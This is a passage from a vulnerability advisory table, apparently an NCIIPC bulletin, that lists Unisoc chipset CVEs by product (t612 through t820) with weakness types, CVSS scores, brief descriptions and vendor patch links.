Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T612-090224/2097

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T612-090224/2098
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T612-090224/2099
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T612-090224/2100

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48359		
Product: t616					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2101
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2102
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2103

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48343		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2104
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2105
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2106

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2107
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2108
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2109
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T616-090224/2110

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T616-090224/2111
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T616-090224/2112
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T616-090224/2113

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48354**		
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2114
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2115
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2116
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due	https://www.unisoc.com/en_us/secy/announc	H-UNI-T616-090224/2117

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	ementDetail/17457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T616-090224/2118
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T616-090224/2119
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T616-090224/2120

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48358**		
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T616-090224/2121
Product: t618					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2122
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2123

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48341**		
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2124
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2125
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2126

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48345		
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2127
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2128
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2129

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2130
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2131
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2132
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2133

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**		
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2134
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2135
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2136

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48342		
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2137
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2138
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T618-090224/2139
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T618-090224/2140

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T618-090224/2141
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T618-090224/2142
Product: t760					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T760-090224/2143

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			additional execution privileges needed **CVE ID : CVE-2023-48340**		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2144
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2145
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2146

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48344		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2147
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2148
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2149

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2150
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2151
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2152
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T760-090224/2153

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T760-090224/2154
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T760-090224/2155
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T760-090224/2156

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48339		
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2157
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2158
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T760-090224/2159
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T760-090224/2160

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T760-090224/2161
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T760-090224/2162
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T760-090224/2163

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48359		
Product: t770					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2164
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2165
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2166

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48343		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2167
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2168
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2169

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2170
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2171
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2172
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T770-090224/2173

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T770-090224/2174
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T770-090224/2175
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T770-090224/2176

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48354**		
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2177
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2178
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2179
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due	https://www.unisoc.com/en_us/secy/announc	H-UNI-T770-090224/2180

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	ementDetail/17457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T770-090224/2181
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T770-090224/2182
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T770-090224/2183

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48358**		
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T770-090224/2184
Product: t820					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2185
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2186

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48341**		
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2187
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2188
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2189

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48345		
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2190
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2191
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2192

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2193
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2194
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2195
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2196

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**		
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2197
